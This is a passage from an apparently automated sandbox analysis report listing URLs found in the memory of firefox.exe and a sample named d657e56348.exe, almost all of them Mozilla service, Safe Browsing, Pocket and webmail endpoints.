Source: firefox.exe, 0000001B.00000002.2763904263.00000283C8D74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2753800184.00000283C4327000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitRelays
Source: firefox.exe, 0000001B.00000003.2661683206.00000283C4857000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001B.00000002.2699726749.00000283BE446000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001B.00000002.2724356297.00000283C1103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001B.00000002.2741058251.00000283C34AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001B.00000002.2807609362.00002AD76873B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2753800184.00000283C4371000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001B.00000002.2749196491.00000283C4113000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2753800184.00000283C4371000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comresource://normandy/lib/PrefUtils.sys.mjsbug-1703186-rollout-http3-
Source: firefox.exe, 0000001B.00000003.2589079620.00000283BF633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDDCA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2588356728.00000283BF621000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2698625943.00000283BE021000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2706713703.00000283BF62B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2587818426.00000283BF633000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sPdfJs.init
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sbrowser.download.viewableInternally.enabledTypesFa
Source: firefox.exe, 0000001B.00000003.2589079620.00000283BF633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2588356728.00000283BF621000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2685493089.00000283BCD7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2706713703.00000283BF62B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2587818426.00000283BF633000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sScheme
Source: firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001B.00000003.2589079620.00000283BF633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2588356728.00000283BF621000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2685493089.00000283BCD7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2706713703.00000283BF62B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2587818426.00000283BF633000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://activity-stream/lib/SystemTickFeed.jsmb
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001B.00000002.2679974764.00000283B0F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2686421290.00000283BD0C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001B.00000002.2810571942.00003B9DCC604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001B.00000003.2589079620.00000283BF633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2588356728.00000283BF621000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2706713703.00000283BF62B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2587818426.00000283BF633000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sFailed
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001B.00000003.2589079620.00000283BF633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2588356728.00000283BF621000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2685493089.00000283BCD7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2706713703.00000283BF62B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2587818426.00000283BF633000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001B.00000002.2702764517.00000283BF07B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001B.00000002.2679974764.00000283B0F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2710514692.00000283C0AA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/about-compat/aboutPage.js
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/about-compat/aboutPage.jsshims/adsafeprotected-ima.js
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/document-element-inserted
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comdefault-browser-prompt-title-pindefault-browser-prompt-title-altshoul
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svgFileUtils_closeAtomicFileOutputStreamwebcompat-reporter%4
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8FF9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2758007012.00000283C4803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_ke
Source: firefox.exe, 0000001B.00000003.2658257658.00000283C91C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001B.00000003.2661683206.00000283C4857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userpreffedRegionsBlockString
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userpreffedRegionsBlockStringdiscoverystream.flight.blocksdiscoverystrea
Source: firefox.exe, 0000001B.00000002.2731953566.00000283C213D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C200D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsSHUTDOWN_PHASE_DURATION_TICKS_PROFILE_CHANGE_TEARDO
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelsaveShutdownPings
Source: d657e56348.exe, 00000007.00000003.2443368522.00000000058BE000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2564342928.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001B.00000002.2679974764.00000283B0F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001B.00000002.2738119544.00000283C33CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2768561269.00000283C8F18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: d657e56348.exe, 00000009.00000003.2613017560.0000000006000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpA
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2752593486.00000283C428B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsSELECT
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesresource://devtools/client/
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationresource://gre/modules/ContentPrefServiceChild.sys
Source: d657e56348.exe, 00000009.00000003.2613017560.0000000006000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgbrowser.urlbar.openViewOnFocusaccount-connection-disconnectedpictureinpic
